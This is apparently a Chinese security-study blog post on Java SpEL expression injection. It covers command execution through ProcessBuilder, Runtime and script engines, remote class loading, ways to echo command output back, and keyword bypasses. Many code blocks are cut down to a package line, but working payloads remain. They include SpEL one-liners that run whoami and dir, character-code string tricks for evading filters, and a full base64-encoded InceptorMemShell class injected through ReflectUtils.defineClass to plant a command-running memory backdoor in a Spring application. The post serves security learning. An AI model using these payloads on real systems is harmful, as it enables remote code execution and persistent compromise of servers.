java-SpEL表达式注入
参考文章
无意中看到这个SpEL这个表达式注入 想着不会 就找了几篇文章来进行学习一下
SpEL简介
直接复制照片
SpEL定界符#{}与${}
这两个东西一点都不相同,${}
只是单纯的一个占位符,会引起一些注入,比如SQL注入之类的。而#{}
这就是SPEL特有的定界符。中间的内容会被解析。
类型表达式T()
理论的东西比较难理解 还是写个demo来演示一下吧
这个T()
的意思就是将括号里面的内容解析成一个类
SpEL表达式
这个变量和表达式的用法呢
就是调用bean的流程和操作
使用SpEL进行RCE
接下来是挨个介绍可使用的方法
ProcessBuilder
1 | package com.example.ke1nys; |
这里的话ProcessBuilder
没用这个T()
的原因我觉得是因为没有进行实例化 所以就不能使用 (个人看法)
Runtime
1 | package com.example.ke1nys; |
ScriptEngine
1 | package com.example.ke1nys; |
这里进行报错是因为这个ScriptEngineManager
类不是static的 所以需要手动进行new一下
nashorn———js引擎
1 | package com.example.ke1nys; |
JavaScript引擎
1 | package com.example.ke1nys; |
其实JavaScriptengine已经可以做很多事情了,比如注入内存马之类的。Js代码是很灵活的。所以需要好好利用。(学这个SpEL还真学到东西了)
UrlClassloader (接下来就是远程类加载来RCE)
这个方法就是使用远程类加载来进行RCE
1 | package com.example.ke1nys; |
然后起一个python的http服务就行了
这里有个注意点就是 以后在使用这个动态类加载的时候 在编写恶意类的时候
不用加package 因为会报错
系统类加载器
这里加个解释就是这个系统类加载器和AppClassLoader的差别在哪
1 | 系统类加载器是 Java 虚拟机(JVM)默认的类加载器,通常是 AppClassLoader 的父类加载器。 |
1 | package com.example.ke1nys; |
这里使用的就是这个系统类加载器来加载这个java核心库中的Runtime
这个类
在这个classloader被ban了之后 我们应该怎么来进行调用
这里有几种方法
1 | T(org.springframework.expression.Expression).getClass().getClassLoader() |
这里看的这几种方法就是在先知社区那里看到的
Web服务无回显RCE
这里的话很多Web服务就是虽然执行成功 但是没有把结果给回显出来 这里的话可以参考之前内存马的回显技术那篇文章 文章
(下面写的东西看起来都是和这个内存马那篇文章 差不多 用的某些类也是一样的)
这里的话简单写个demo来进行测试
1 | package com.example.ke1nys; |
BufferedReader
其实这并不是纯粹的回显,因为你需要return这个返回结果,而真实情况一般是不会return这个结果的。payload=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
Scanner
和Buffer一样,都只能算得上是半回显new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
这里的Delimiter
是分隔符的意思,我们执行了dir指令,假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可
ResponseHeader
上面的方法用的话一般都是得通过这个return将结果给输出出来 但是在真实环境中 是不会存在这个东西的
(其实也和内存马获取那个全局变量差不多 也是获取这个全局的response)
这种方法才称得上是通用回显
这种方法需要有一个方法可以addHeader,可是springboot并不自带这个方法。因此获取到Response有些许困难,需要注册一个response进上下文
1 | package com.example.ke1nys; |
这样就可以把命令执行的结果外带出来了。这种方法是比较轻便的。还是围绕着如何获取response这个点。
(既然可以使用Standard这个点来获取response的关系后 那么我觉得内存马的话应该也是可以进行注入的)
注入内存马
这里的话是有两个paylaod模板
1 | #{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()} |
1 | T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('Base64'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance() |
这里使用的是sping
的InceptorMemShell
内存马进行注入
(这里的话我是在虚拟机里重新搭建一个idea来编译的 因为本机环境是17 不敢瞎几把改 上次就改烂了。。。。。。。。。。)
编译完后拖到本机
然后将字节码进行base64编码
1 | package com.example.ke1nys; |
然后将base64编码写入payload中发包就行了
1 | T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBAQoAOwCLCABWCwCMAI0IAI4LAI8AkAsAjwCRCACSCACTCgCUAJUKAA4AlggAlwoADgCYBwCZBwCaCACbCACcCgANAJ0IAJ4IAJ8HAKAKAA0AoQoAogCjCgAUAKQIAKUKABQApgoAFACnCgAUAKgKABQAqQoAqgCrCgCqAKwKAKoAqQcArQoAIACuCwA8AK8LADwAsAkAlACxCACyCgCzAKsKALQAtQgAtgsAtwC4BwC5BwC6CwAqALsHALwIAL0KAL4AvwcAwAoAMACuCgDBAMIKAMEAwwcAxAcAxQoANQCuBwDGCgA3AIsLADQAxwgAyAcAyQcAygEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTEluY2VwdG9yTWVtU2hlbGw7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB2J1aWxkZXIBABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAC3ByaW50V3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQADY21kAQANU3RhY2tNYXBUYWJsZQcAxgcAywcAzAcAzQcAmgcAzgcAmQcAoAcArQEACkV4Y2VwdGlvbnMBABBNZXRob2RQYXJhbWV0ZXJzAQAKcG9zdEhhbmRsZQEAkihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OylWAQAMbW9kZWxBbmRWaWV3AQAuTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAJleAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAM8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEWFkYXB0SW50ZXJjZXB0b3JzAQAQTGphdmEvdXRpbC9MaXN0OwEAD2V2aWxJbnRlcmNlcHRvcgEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47BwC5BwC6BwDQBwDABwDEBwDFAQAKU291cmNlRmlsZQEAFUluY2VwdG9yTWVtU2hlbGwuamF2YQwAPQA+BwDLDADRANIBAANnYmsHAMwMANMA1AwA1QDWAQAAAQAHb3MubmFtZQcA1wwA2ADSDADZANoBAAN3aW4MANsA3AEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAD0A3QEACS9iaW4vYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIMAN4A3wcA4AwA4QDiDAA9AOMBAA13b2Nhb3NpbmlkZW1hDADkAOUMAOYA5wwA6ADaDADpAD4HAM4MAOoA1AwA6wA+AQATamF2YS9sYW5nL0V4Y2VwdGlvbgwA7AA+DABjAGQMAGcAaAwA7QDuAQAGc3RhYXJ0BwDvBwDwDADxAPIBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAPMMAPQA9QEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwA9gD3AQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwD4DAD5APoBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HANAMAPsA/AwA/QD+AQAOamF2YS91dGlsL0xpc3QBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAEEluY2VwdG9yTWVtU2hlbGwMAP8BAAEAAm9rAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vUHJpbnRXcml0ZXIBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAdwcmludGxuAQAFZmx1c2gBAA9wcmludFN0YWNrVHJhY2UBAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoAIQA3ADsAAQA8AAAABwABAD0APgABAD8AAAAvAAEAAQAAAAUqtwABsQAAAAIAQAAAAAYAAQAAABQAQQAAAAwAAQAAAAUAQgBDAAAAAQBEAEUAAwA/AAACBQAGAAkAAAC+KxICuQADAgA6BBkExgCwLBIEuQAFAgAsuQAGAQA6BRIHOgcSCLgACbYAChILtgAMmQAiuwANWQa9AA5ZAxIPU1kEEhBTWQUZBFO3ABE6BqcAH7sADVkGvQAOWQMSElNZBBITU1kFGQRTtwAROga7ABRZGQa2ABW2ABYSBLcAFxIYtgAZOggZCLYAGpkACxkItgAbpwAFGQc6BxkItgAcGQUZB7YAHRkFtgAeGQW2AB+nAAo6BRkFtgAhA6wErAABAA8AsACzACAAAwBAAAAATgATAAAALwAKADAADwAyABcAMwAfADUAIwA2ADMANwBSADkAbgA7AIYAPACaAD0AnwA+AKYAPwCrAEAAsABDALMAQQC1AEIAugBEALwARgBBAAAAcAALAE8AAwBGAEcABgAfAJEASABJAAUAbgBCAEYARwAGACMAjQBKAEsABwCGACoATABNAAgAtQAFAE4ATwAFAAAAvgBCAEMAAAAAAL4AUABRAAEAAAC+AFIAUwACAAAAvgBUAFUAAwAKALQAVgBLAAQAVwAAAGMAB/8AUgAIBwBYBwBZBwBaBwBbBwBcBwBdAAcAXAAA/wAbAAgHAFgHAFkHAFoHAFsHAFwHAF0HAF4HAFwAAPwAJwcAX0EHAFz/ABoABQcAWAcAWQcAWgcAWwcAXAABBwBgBgEAYQAAAAQAAQAgAGIAAAANAwBQAAAAUgAAAFQAAAABAGMAZAADAD8AAABgAAUABQAAAAoqKywtGQS3ACKxAAAAAgBAAAAACgACAAAASwAJAEwAQQAAADQABQAAAAoAQgBDAAAAAAAKAFAAUQABAAAACgBSAFMAAgAAAAoAVABVAAMAAAAKAGUAZgAEAGEAAAAEAAEAIABiAAAAEQQAUAAAAFIAAABUAAAAZQAAAAEAZwBoAAMAPwAAAGAABQAFAAAACiorLC0ZBLcAI7EAAAACAEAAAAAKAAIAAABQAAkAUQBBAAAANAAFAAAACgBCAEMAAAAAAAoAUABRAAEAAAAKAFIAUwACAAAACgBUAFUAAwAAAAoAaQBPAAQAYQAAAAQAAQAgAGIAAAARBABQAAAAUgAAAFQAAABpAAAAAQBqAGsAAwA/AAAAPwAAAAMAAAABsQAAAAIAQAAAAAYAAQAAAFYAQQAAACAAAwAAAAEAQgBDAAAAAAABAGwAbQABAAAAAQBuAG8AAgBhAAAABAABAHAAYgAAAAkCAGwAAABuAAAAAQBqAHEAAwA/AAAASQAAAAQAAAABsQAAAAIAQAAAAAYAAQAAAFsAQQAAACoABAAAAAEAQgBDAAAAAAABAGwAbQABAAAAAQByAHMAAgAAAAEAVAB0AAMAYQAAAAQAAQBwAGIAAAANAwBsAAAAcgAAAFQAAAAIAHUAPgABAD8AAAFpAAMABQAAAGqyACQSJbYAJrgAJxIoA7kAKQMAwAAqSyoSK7kALAIAwAArTAFNEi0SLrYAL02nAAhOLbYAMSwEtgAyAU4sK7YAM8AANE6nAAo6BBkEtgA2uwA3WbcAODoELRkEuQA5AgBXsgAkEjq2ACaxAAIAJQAtADAAMAA8AEUASAA1AAQAQAAAAEoAEgAAABcACAAYABcAGQAjABoAJQAcAC0AHwAwAB0AMQAeADUAIAA6ACEAPAAjAEUAJgBIACQASgAlAE8AJwBYACgAYQApAGkAKgBBAAAASAAHADEABABOAHYAAwBKAAUATgB3AAQAFwBSAHgAeQAAACMARgB6AHsAAQAlAEQAfAB9AAIAPAAtAH4AfwADAFgAEQCAAEMABACBAAAADAABADwALQB+AIIAAwBXAAAALQAE/wAwAAMHAIMHAIQHAIUAAQcAhgT/ABIABAcAgwcAhAcAhQcAhwABBwCIBgABAIkAAAACAIo='),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance() |
还是再说一点 在使用字节码进行动态类加载的时候 编译的时候不要加上package
(还有就是java发包的时候记得将payload进行url编码)
关键字bypass
字符串替换
1 | T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49) |
T(String).getName
返回的是java.lang.String
,然后用replace替换获取想要的字符串,这种比较麻烦。
还有一种就是直接使用类似chr
函数
1 | T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49) |
外部对象request
1 | //request.getMethod()为POST |
反射+字符串拼贴
1 | 比如Runtime的绕过 |